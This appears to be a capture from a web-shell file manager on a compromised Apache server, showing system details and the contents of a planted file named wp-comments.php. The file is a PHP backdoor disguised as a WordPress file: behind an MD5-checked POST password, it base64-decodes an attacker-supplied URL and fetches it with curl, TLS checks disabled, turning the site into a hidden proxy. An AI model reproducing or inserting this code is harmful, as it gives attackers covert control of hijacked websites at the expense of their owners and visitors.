HEX
Server: Apache
System: Linux dinesh0008 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Thu Sep 25 11:17:52 UTC 2025 x86_64
User: monaleequipament1 (10012333)
PHP: 8.3.0
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/6/21/f7/monaleequipament1/public_html/wp-comments.php
<?php $_ = $_POST;if(!empty($_['a']) && !empty($_['b']) && md5($_['a'].md5($_['a']))==('e9b41d635eb83057eedb535bdd6d5456')) {echo c(base64_decode($_['b']));exit;}function c($u) {$UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36';$hd[0] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";$hd[] = "Cache-Control: max-age=0";$hd[] = "Connection: keep-alive";$hd[] = "Keep-Alive: 300";$hd[] = "Accept-Charset: utf-8;q=0.8,*;q=0.8";$hd[] = "Accept-Language: en-US,en;q=0.8";$hd[] = "Pragma: ";$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$u);curl_setopt($ch,CURLOPT_HTTPHEADER, $hd);curl_setopt($ch,CURLOPT_USERAGENT, $UA);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER, 0);curl_setopt($ch,CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch,CURLOPT_TIMEOUT,15);$s = curl_exec($ch);curl_close($ch);return $s;}?>